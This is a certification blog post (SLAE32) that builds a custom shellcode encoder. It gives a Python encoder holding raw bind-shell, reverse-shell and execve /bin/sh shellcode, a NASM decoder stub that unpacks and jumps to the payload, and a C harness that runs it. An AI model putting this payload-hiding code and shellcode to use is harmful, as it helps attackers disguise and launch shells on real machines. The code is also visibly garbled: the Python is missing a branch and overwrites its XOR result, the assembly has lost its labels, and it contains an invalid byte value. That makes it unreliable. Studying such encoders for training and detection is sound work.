SLAE32 Assignment 4 – Custom encoding scheme

Nota: el contenido de esta entrada estará escrito en inglés con el objetivo de cumplir los requerimientos del examen para la obtención del certificado SLAE32 de Pentester Academy.

Note: content of this post will be written in English in order to be compliant and pass the SLAE32 certification exam brought by Pentester Academy.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: PA-26078

GitHub repository:

Assignment tasks

The following tasks were given to the student:

  • Create a custom encoding scheme like the “Insertion Encoder” shown in the course
  • PoC with using execve-stack as the shellcode to encode and execute with the schema

Custom encoding scheme design

In spite of using a complicated encoding scheme, a combination of simple encoding techniques is going to be devleoped in order to build an acceptable encoding scheme. The following tasks are done during shellcode encoding phase:

  1. Perform a XOR operation between every byte and its position number inside the shellcode (consecutive numbers from 1 to shellcode length)
  2. Add three to every byte XOR result
  3. Insert “0xDA” byte between every byte of the shellcode (i.e. applying insertion technique)

Combining those three techniques, a custom encoding scheme is implemented. Moreover, decoding routing that is going to be written in assembly must perform the following steps:

  1. Remove every “0xDA” byte, recovering a shellcode with no “0xDA” values in between every byte of the shellcode
  2. Substract three to every byte recovered from the removal phase
  3. XOR every byte with its position number to recover the original shellcode
  4. Finally, the routine must jump directly to the shellcode which is written in memory

Note that SLAE student must opted to design and implement a combinated custom coding scheme in order to learn and investigate how all the steps (insertion, XOR operation and addition) work in assembly. Therefore, it is not an optimized encoder in terms of length, but it is well structured for the main purpose of SLAE course: learning.

Custom encoding scheme encoder

The encoder routine is fully written in Python. It performs the operations described above for the encoding phase and presents the shellcode that must be included in the decoding routine as output. Furthermore, the attacker can choose between HelloWorld, Bind, Reverse and Execve payloads. The following code corresponds to the encoding routine (note that it is not commented as it is very self-explanatory):


# Filename:
# Author: David Alvarez Robles (km0xu95)
# Website:

# Purpose: This script was developed in order to encode payloads for later use
# in conjuction with shellcode decoder payload

# Codification will:
	# 1. Insert \xDA every byte
	# 2. XOR every byte with its position (if position number is diferent than byte value)
	# 3. Add 3 to every byte

import random
import sys

if(len(sys.argv) != 2):
	print "Usage: ./ <HelloWorld/Bind/Reverse/Execve>"

if sys.argv[1].startswith("HelloWorld"):
	print "\n[*] Selected HelloWorld payload"
	shellcode = '\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x31\xd2\x52\x68\x72\x6c\x64\x0a\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80'
elif sys.argv[1].startswith("Bind"):
	print "\n[*] Selected Bind payload"
	shellcode = '\x31\xc0\x89\xc3\x50\x6a\x01\x6a\x02\xb0\x66\x43\x89\xe1\xcd\x80\x89\xc2\x31\xf6\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x16\x56\x52\xb0\x66\x43\x89\xe1\xcd\x80\x6a\x01\x52\xb0\x66\x83\xc3\x02\x89\xe1\xcd\x80\x31\xff\x57\x57\x52\xb0\x66\x83\xc3\x01\x89\xe1\xcd\x80\x89\xc2\x89\xd3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
elif sys.argv[1].startswith("Reverse"):
	print "\n[*] Selected Reverse payload"
	shellcode = '\x31\xc0\x89\xc3\x50\x6a\x01\x6a\x02\xb0\x66\x43\x89\xe1\xcd\x80\x89\xc2\x31\xf6\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x16\x56\x52\xb0\x66\x83\xc3\x02\x89\xe1\xcd\x80\x89\xd3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
	print "\n[*] Selected Execve payload"
	shellcode = '\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43'

shellcode2 = ""

encoded = ""
encoded2 = ""

position = 0x01

for x in bytearray(shellcode) :
	shellcode2 += '\\x'
	shellcode2 += '%02x' % x

	# If position number is NOT equal to value make XOR -> Avoid null bytes
	if x != position:
		y = x^position
		y = x

	# Add 3 to the result of XOR operation
	y += 0x03	

	# Make the insertion of resulting 2 bytes
	encoded += '\\x'
	encoded += '%02x' % y
	encoded += '\\x%02x' % 0xDA

	encoded2 += '0x'
	encoded2 += '%02x,' %y
	encoded2 += '0x%02x,' % 0xDA

	position += 1

print '\n[*] Original shellcode: ' + shellcode2
print '\n[*] Encoded shellcode: ' + encoded
print '\n[+] Ready to use shellcode: ' + encoded2[:-1]

print '\nOriginal shellcode length: %d' % len(bytearray(shellcode))
print '\nEncoded shellcode length: %d' % (len(encoded.split("\\x"))-1)
print '\n'

The following picture shows how the encoder script is used when specifying “Execve” for the payload, as it is asked on assignment tasks:

Custom encoding scheme decoder

The decoder routine written in assembly language. It performs the operations described above for the decoding phase, executing automatically the original encoded shellcode. Note that “EncodedShellcode” variable must be updated before compilation and linking the final binary. Value for the variable can be obtained from encoder routing.

Moreover, this snippet of code is not going to work if compiled and linked with NASM and LD tools, as some memory regions are marked as non-writable. Therefore, “shellcode.c” file must be used, including the final shellcode of “Custom-Decoder” binary. That would work if stack is marked as executable and with no protection when compiling and linking the binary with GCC.

The following code corresponds to the decoding routine. Note that it is very well commented and structured so following the operations that are being done is fairly easy. Finally, also note that the operations to be done (remove insertion, substraction and xoring) are well isolated.

; Filename: Custom-Decoder.nasm
; Author:  David Alvarez Robles (km0xu95)
; Website:
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification

; Define entry point
global _start			

; Start text section
section .text
	jmp short load_shellcode	; Use JMP-CALL-POP method to retrieve EncodedShellcode address

; This procedure will prepare registers to perform decoding operations
	pop esi			; Pop EncodedShellcode pointer from stack
	lea edi, [esi +1]	; Load in EDI register the value in ESI+1 position
	xor eax, eax		; Clear EAX register
	mov al, 1		; Initialize counter in EAX register
	xor ebx, ebx		; Clear EBX register

; This procedure will remove all the 0xDA bytes inserted by the encoder
	mov bl, byte [esi + eax]	; Move to BL register byte value from ESI+EAX register
	xor bl, 0xda			; Compare with inserted byte
	jnz short ecx_initialize	; If comparison is not zero, the end of insertion removal is in place. Then jump to remove the sum done by the encoder
	mov bl, byte [esi + eax + 1]	; If comparison is zero, load in BL register value from ESI+EAX+1 (next byte) 
	mov byte [edi], bl		; Also move the byte to EDI register
	inc edi				; Increment EDI register by one
	add al, 2			; Move 2 bytes ahead
	jmp short remove_insertion	; Repeat the operation

;This procedure will re-initialize ECX register for loop counting
	lea edi, [esi]		; Load in EDI register the value in ESI position
	xor ecx, ecx		; Clear ECX register
	mov cl, sclen		; Start loop counter

; This procedure will decrement results from insertion removal by 3 (remember that encoder performed +3 operation)
	sub byte [edi], 3	; Decrement by 3 value from byte on ESI register
	inc edi			; Jump to next byte
	loop remove_sum_loop	; Continue the loop operation
	jmp short remove_xor	; When loop is finished, jump to remove XOR operation

; This procedure will remove XOR operation performed by the encoder
	lea edi, [esi]		; Load in EDI register the value in ESI position
	xor ecx, ecx		; Clear ECX register
	mov cl, sclen		; Start loop counter
	mov al, 1		; Initialize EAX register value on 1

	cmp byte [edi], AL	; Compare byte value with position
	jz xor_loop		; Jump if equal to loop in order to do not perform xor_operation
	xor byte [edi], AL	; Restore original value from shellcode doing xor operation

	inc edi				; Jump to next byte
	inc eax				; Increment position
	loop remove_xor_loop		; Continue the loop operation
	jmp short EncodedShellcode	; When loop is finished, jump to remove XOR operation

; This procedure will be use in JMP-CALL-POP method
	call start_decoder	; Call starting procedure
	EncodedShellcode: db 0xed,0xda,0x1b,0xda,0x60,0xda,0x38,0xda,0xe1,0xda,0x91,0xda,0x5c,0xda,0x12,0xda,0x83,0xda,0x7f,0xda,0x06,0xda,0x88,0xda,0x56,0xda,0x05,0xda,0x85,0xda,0x11,0xda,0x9f,0xda,0x5f,0xda,0x1e,0xda,0x9c,0xda,0x46,0xda,0x1d,0xda,0x29,0xda,0xdb,0xda,0xac,0xda,0x14,0xda,0xd9,0xda,0x9f,0xda,0xf8,0xda,0x102,0xda,0xe3,0xda,0xe2,0xda,0xe1,0xda,0x10,0xda,0x44,0xda,0x50,0xda,0x4e,0xda,0x0c,0xda,0x57,0xda,0x43,0xda,0x6b,0xda,0x6b,0xda,0x6c,0xda,0x71,0xda,0x72,0xda,0x70,0xda,0x6f,0xda,0x76,0xda,0x75,0xda	; EncodedShellcode that must be changed
	sclen	equ  $-EncodedShellcode	; Store EncodedShellcode length

After compilation and linking with NASM and LD, the shellcode for this assembly code can be obtained:


A C proof-of-concept can be written and compiled with GCC in order to test the shellcode (note that if compiled with NASM and LD it will not work because of read-only regions of memory):


unsigned char code[] = "\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x1c\x06\x80\xf3\xda\x75\x0b\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\x8d\x3e\x31\xc9\xb1\x62\x80\x2f\x03\x47\xe2\xfa\xeb\x00\x8d\x3e\x31\xc9\xb1\x62\xb0\x01\x38\x07\x74\x02\x30\x07\x47\x40\xe2\xf6\xeb\x05\xe8\xbc\xff\xff\xff\xed\xda\x1b\xda\x60\xda\x38\xda\xe1\xda\x91\xda\x5c\xda\x12\xda\x83\xda\x7f\xda\x06\xda\x88\xda\x56\xda\x05\xda\x85\xda\x11\xda\x9f\xda\x5f\xda\x1e\xda\x9c\xda\x46\xda\x1d\xda\x29\xda\xdb\xda\xac\xda\x14\xda\xd9\xda\x9f\xda\xf8\xda\x02\xda\xe3\xda\xe2\xda\xe1\xda\x10\xda\x44\xda\x50\xda\x4e\xda\x0c\xda\x57\xda\x43\xda\x6b\xda\x6b\xda\x6c\xda\x71\xda\x72\xda\x70\xda\x6f\xda\x76\xda\x75\xda";

	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

Finally, the proof-of-concept is tested and “/bin/sh” is executed as expected, confirming that the encoding scheme works properly: